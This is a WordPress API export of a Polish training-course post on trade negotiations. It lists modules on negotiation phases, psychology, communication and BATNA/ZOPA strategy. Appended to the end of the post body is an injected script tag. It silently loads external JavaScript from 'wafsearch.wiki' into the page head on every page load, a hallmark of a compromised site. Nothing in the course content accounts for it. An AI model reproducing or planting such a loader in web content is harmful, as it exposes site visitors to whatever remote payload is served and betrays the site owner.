{"id":1180,"date":"2024-03-05T11:00:26","date_gmt":"2024-03-05T10:00:26","guid":{"rendered":"https:\/\/global-metodi.com\/?p=1180"},"modified":"2026-01-08T12:35:25","modified_gmt":"2026-01-08T11:35:25","slug":"negocjacje-handlowe-dla-profesjonalistow","status":"publish","type":"post","link":"https:\/\/global-metodi.com\/en\/2024\/03\/05\/negocjacje-handlowe-dla-profesjonalistow\/","title":{"rendered":"Trade negotiations for professionals"},"content":{"rendered":"<section class=\"elementor-section elementor-top-section elementor-element elementor-element-3700083 pbmit-col-stretched-none pbmit-cursor-color-blackish-color pbmit-bg-color-over-image elementor-section-boxed elementor-section-height-default elementor-section-height-default pbmit-col-stretched-no pbmit-bgimage-no pbmit-bgcolor-yes\" data-id=\"3700083\" data-element_type=\"section\" data-cursor=\"blackish-color\">\n<div class=\"elementor-container elementor-column-gap-default\">\n<div class=\"elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-6f6beba pbmit-bg-color-over-image pbmit-bgimage-no pbmit-bgcolor-yes\" data-id=\"6f6beba\" data-element_type=\"column\">\n<div class=\"elementor-widget-wrap elementor-element-populated\">\n<div class=\"elementor-element elementor-element-959a919 elementor-widget elementor-widget-heading\" data-id=\"959a919\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n<div class=\"elementor-widget-container\">\n<h2 class=\"elementor-heading-title elementor-size-default\">Modu\u0142 1.<br \/>\nProces Negocjacyjny:<\/h2>\n<\/div>\n<\/div>\n<div class=\"elementor-element elementor-element-7336951 elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list\" data-id=\"7336951\" data-element_type=\"widget\" data-widget_type=\"icon-list.default\">\n<div class=\"elementor-widget-container\">\n<ul class=\"elementor-icon-list-items\">\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Fazy negocjacji: przygotowanie, prezentacja, negocjacje, zamkni\u0119cie.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Rola czasu w negocjacjach.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Wykorzystanie analizy SWOT do oceny w\u0142asnych i partnera pozycji w negocjacjach.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Planowanie strategii w oparciu o wyniki analizy.<\/span><\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-287b599 pbmit-bg-color-over-image pbmit-bgimage-no pbmit-bgcolor-yes\" data-id=\"287b599\" data-element_type=\"column\">\n<div class=\"elementor-widget-wrap elementor-element-populated\">\n<div class=\"elementor-element elementor-element-1e0d7e8 elementor-widget elementor-widget-heading\" data-id=\"1e0d7e8\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n<div class=\"elementor-widget-container\">\n<h2 class=\"elementor-heading-title elementor-size-default\">Modu\u0142 2.<br \/>\nPsychologia Negocjacji:<\/h2>\n<\/div>\n<\/div>\n<div class=\"elementor-element elementor-element-46ffe8e elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list\" data-id=\"46ffe8e\" data-element_type=\"widget\" data-widget_type=\"icon-list.default\">\n<div class=\"elementor-widget-container\">\n<ul class=\"elementor-icon-list-items\">\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Zrozumienie motywacji i emocji w procesie negocjacyjnym.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Skuteczne radzenie sobie z presj\u0105 i konfliktem.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Obrona przed manipulacjami<\/span><\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-0821cca pbmit-bg-color-over-image pbmit-bgimage-no pbmit-bgcolor-yes\" data-id=\"0821cca\" data-element_type=\"column\">\n<div class=\"elementor-widget-wrap elementor-element-populated\">\n<div class=\"elementor-element elementor-element-91b593b elementor-widget elementor-widget-heading\" data-id=\"91b593b\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n<div class=\"elementor-widget-container\">\n<h2 class=\"elementor-heading-title elementor-size-default\">Modu\u0142 3.<br \/>\nProces negocjacyjny:<\/h2>\n<\/div>\n<\/div>\n<div class=\"elementor-element elementor-element-60877bf elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list\" data-id=\"60877bf\" data-element_type=\"widget\" data-widget_type=\"icon-list.default\">\n<div class=\"elementor-widget-container\">\n<ul class=\"elementor-icon-list-items\">\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Budowanie skutecznej komunikacji werbalnej i niewerbalnej.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Umiej\u0119tno\u015b\u0107 s\u0142uchania i zadawania skutecznych pyta\u0144.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Koordynacja dzia\u0142a\u0144 zespo\u0142u w trakcie procesu negocjacyjnego.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Identyfikacja konflikt\u00f3w w trakcie negocjacji.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Skuteczne rozwi\u0105zywanie spor\u00f3w i utrzymanie pozytywnego klimatu.<\/span><\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<section class=\"elementor-section elementor-top-section elementor-element elementor-element-78a1407 pbmit-col-stretched-none pbmit-cursor-color-blackish-color pbmit-bg-color-over-image elementor-section-boxed elementor-section-height-default elementor-section-height-default pbmit-col-stretched-no pbmit-bgimage-no pbmit-bgcolor-yes\" data-id=\"78a1407\" data-element_type=\"section\" data-cursor=\"blackish-color\">\n<div class=\"elementor-container elementor-column-gap-default\">\n<div class=\"elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-8f97f04 pbmit-bg-color-over-image pbmit-bgimage-no pbmit-bgcolor-yes\" data-id=\"8f97f04\" data-element_type=\"column\">\n<div class=\"elementor-widget-wrap elementor-element-populated\">\n<div class=\"elementor-element elementor-element-e045362 elementor-widget elementor-widget-heading\" data-id=\"e045362\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n<div class=\"elementor-widget-container\">\n<h2 class=\"elementor-heading-title elementor-size-default\">Modu\u0142 4.<br \/>\nZaawansowane strategie negocjacyjne<\/h2>\n<\/div>\n<\/div>\n<div class=\"elementor-element elementor-element-7090943 elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list\" data-id=\"7090943\" data-element_type=\"widget\" data-widget_type=\"icon-list.default\">\n<div class=\"elementor-widget-container\">\n<ul class=\"elementor-icon-list-items\">\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Zasady ustalania warunk\u00f3w korzystnych dla obu stron. Batna, Watna, Zopa<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Umiej\u0119tno\u015b\u0107 argumentacji opartej na warto\u015bci.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Analiza i negocjacje z\u0142o\u017conych um\u00f3w handlowych.<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Skuteczne zarz\u0105dzanie ryzykiem w trakcie negocjacji.<\/span><\/li>\n<\/ul>\n<div class=\"elementor-element elementor-element-4e32f03 elementor-widget elementor-widget-heading\" data-id=\"4e32f03\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n<div class=\"elementor-widget-container\">\n<h2 class=\"elementor-heading-title elementor-size-default\">Modu\u0142 5.<br \/>\nSkuteczny negocjator<\/h2>\n<\/div>\n<\/div>\n<div class=\"elementor-element elementor-element-1bcd88e elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list\" data-id=\"1bcd88e\" data-element_type=\"widget\" data-widget_type=\"icon-list.default\">\n<div class=\"elementor-widget-container\">\n<ul class=\"elementor-icon-list-items\">\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Cechy skutecznego negocjatora<\/span><\/li>\n<li class=\"elementor-icon-list-item\"><span class=\"elementor-icon-list-text\">Feedback i ocena indywidualnych umiej\u0119tno\u015bci.<\/span><\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-24d8f96 pbmit-bg-color-over-image pbmit-bgimage-no pbmit-bgcolor-yes\" data-id=\"24d8f96\" data-element_type=\"column\">\n<div class=\"elementor-widget-wrap elementor-element-populated\">\n<div class=\"elementor-element elementor-element-4e32f03 elementor-widget elementor-widget-heading\" data-id=\"4e32f03\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n<div class=\"elementor-widget-container\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Modu\u0142 1. Proces Negocjacyjny: Fazy negocjacji: przygotowanie, prezentacja, negocjacje, zamkni\u0119cie. Rola czasu w negocjacjach. Wykorzystanie analizy SWOT do oceny w\u0142asnych i partnera pozycji w negocjacjach. Planowanie strategii w oparciu o wyniki analizy. Modu\u0142 2. Psychologia Negocjacji: Zrozumienie motywacji i emocji w procesie negocjacyjnym. Skuteczne radzenie sobie z presj\u0105 i konfliktem. Obrona przed manipulacjami Modu\u0142 3. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":996,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[82],"tags":[],"class_list":["post-1180","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-szkolenia"],"acf":[],"_links":{"self":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1180","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/comments?post=1180"}],"version-history":[{"count":3,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1180\/revisions"}],"predecessor-version":[{"id":2047,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1180\/revisions\/2047"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media\/996"}],"wp:attachment":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media?parent=1180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/categories?post=1180"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/tags?post=1180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}